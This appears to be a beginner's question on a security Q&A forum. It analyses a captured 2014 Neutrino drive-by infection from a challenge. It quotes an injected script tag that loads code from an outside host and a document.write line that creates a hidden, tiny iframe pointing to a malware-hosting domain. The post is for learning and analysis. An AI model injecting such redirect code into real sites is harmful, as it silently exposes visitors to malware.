I am still a beginner in web vulnerability. While I was browsing on the internet I saw a challenge inspired by a real life security crisis. We are given a pcap of a malware infection that was done in 2014 (Neutrino though adobe Flash).

Apparently a site siteCompromised.com was compromised so that it redirects people to another domain siteHostingMalware.com where the malware exists.

When I see the content of the root of siteCompromised.com I see:



</html><script type='text/javascript' src='http://anotherSite.com/link'></script>

Both anotherSite.com and siteHostingMalware.com are flagged by VirusTotal.

What I don't understand is:

  1. How did adding the html script tag help the attacker redirecting automatically toward the other website hosting the malware ?
  2. Why did the attacker redirect to http://anotherSite.com/link and not directly to the site hosting the malware ?
  3. At that time, what may be the web vulnerability used by the attacker to compromise siteCompromised.com ? I think probably an XSS but not sure ...

As I am still a beginner do not hesitate to put some reference for me to read them later. Thank you.

EDIT: The content of anotherSite.com/link is :

document.write(("<iframe src='http://siteHostingMalware.com' name='yBnYN' width=13 height=10 frameborder=0 marginheight=0 marginwidth=0 scrolling=no> </" + "iframe>"));
  • g'day and welcome - if possible, please add the file (aka. "resource") that gets loaded by the <script> tag (ie. the contents of the url http://anotherSite.com/link) - assuming your capture is complete, this will be a http transaction that occurred after the initial one to siteCompromised.com
    – brynk
    Nov 29, 2022 at 21:02
  • @brynk I did that... Can the script actually be loaded even if it written after the closing html tag ? Also, if I understand correctly there is a frame that has been added... The user clicked on the frame for the redirection to occur, right ? Nov 29, 2022 at 21:15


You must log in to answer this question.

Browse other questions tagged .